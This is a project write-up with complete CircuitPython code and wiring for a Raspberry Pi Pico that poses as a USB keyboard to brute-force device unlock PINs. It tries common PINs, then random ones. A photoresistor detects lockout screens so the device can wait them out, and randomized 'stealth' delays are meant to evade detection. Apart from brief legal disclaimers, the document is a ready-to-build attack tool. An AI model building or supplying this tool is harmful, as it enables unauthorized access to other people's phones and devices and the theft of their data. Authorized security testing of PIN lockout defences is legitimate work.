Raspberry Pi Pico PIN Brute-Force Tool

Features: OLED Feedback • Lockout Detection • Randomized Delays • USB HID

Author: Vijay

■■ Legal Use Only — For Authorized Penetration Testing

Key Features Implemented

• OLED Feedback: Real-time PIN attempts and lockout status displayed.

• Smart Lockout Detection: Uses a photoresistor to detect lockout screens and auto-pauses.

• Stealth Mode: Randomized delays between attempts for anti-detection.

• Portable Operation: Works standalone using LiPo battery.

• USB HID Compliance: Appears as a standard keyboard device.

Hardware Configuration

Pico Pin	Component	Connection
GP0 (SDA)	OLED	SDA
GP1 (SCL)	OLED	SCL
3V3	OLED + LDR	VCC
GND	OLED + LDR	GND
A0	Photoresistor	Signal
VBUS	LiPo Charger	5V Input

Complete CircuitPython Code

```
import time
import random
import board
import digitalio
import analogio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import adafruit_ssd1306

# ===== Hardware Configuration =====
```

```
# OLED Display (I2C)
i2c = board.I2C()
oled = adafruit_ssd1306.SSD1306_I2C(128, 32, i2c)

# Keyboard HID
keyboard = Keyboard(usb_hid.devices)

# Lockout Detector (Photoresistor)
ldr = analogio.AnalogIn(board.A0)

# Status LED
led = digitalio.DigitalInOut(board.LED)
led.direction = digitalio.Direction.OUTPUT

# ===== Settings =====
PIN_LENGTH = 4                # 4 or 6 digit PINs
MAX_ATTEMPTS = 5              # Attempts before lockout
LOCKOUT_DELAY = 31            # Seconds to wait during lockout
COMMON_PINS = [
    "1234", "0000", "1111", "1212",
    "7777", "1004", "2000", "4444"
]

# ===== Core Functions =====
def type_pin(pin):
    """Send PIN keystrokes via USB HID"""
    for digit in pin:
        keycode = getattr(Keycode, f"KEYPAD_{digit}")
        keyboard.press(keycode)
        keyboard.release_all()
        time.sleep(0.05)
    keyboard.press(Keycode.ENTER)
    keyboard.release_all()

def check_lockout():
    """Detect screen lockout via photoresistor"""
    return ldr.value < 30000

def display_status(pin, attempt, locked=False):
    """Update OLED display"""
    oled.fill(0)
    oled.text(f"PIN: {pin}", 0, 0)
    oled.text(f"Attempt: {attempt}/{MAX_ATTEMPTS}", 0, 10)
    if locked:
        oled.text("LOCKED OUT!", 0, 20)
    oled.show()

# ===== Main Execution =====
def main():
    attempt_count = 0
    current_pin = "0000"

    display_status(current_pin, attempt_count)
    time.sleep(2)

    while True:
        led.value = True
        type_pin(current_pin)
        attempt_count += 1
        led.value = False

        if check_lockout() or attempt_count >= MAX_ATTEMPTS:
            display_status(current_pin, attempt_count, locked=True)
            time.sleep(LOCKOUT_DELAY)
            attempt_count = 0
        else:
            delay = random.uniform(0.5, 3.0)
            time.sleep(delay)
```

```
        if attempt_count < len(COMMON_PINS):
            current_pin = COMMON_PINS[attempt_count]
        else:
            current_pin = f"{random.randint(0,9999):04d}"

if __name__ == "__main__":
    main()
```

■■ Legal & Ethical Reminder

This project is intended **strictly for authorized educational and penetration testing purposes**. Do **not** use this tool on any device or system without explicit permission. Unauthorized use may lead to **legal consequences** and **device lockouts**.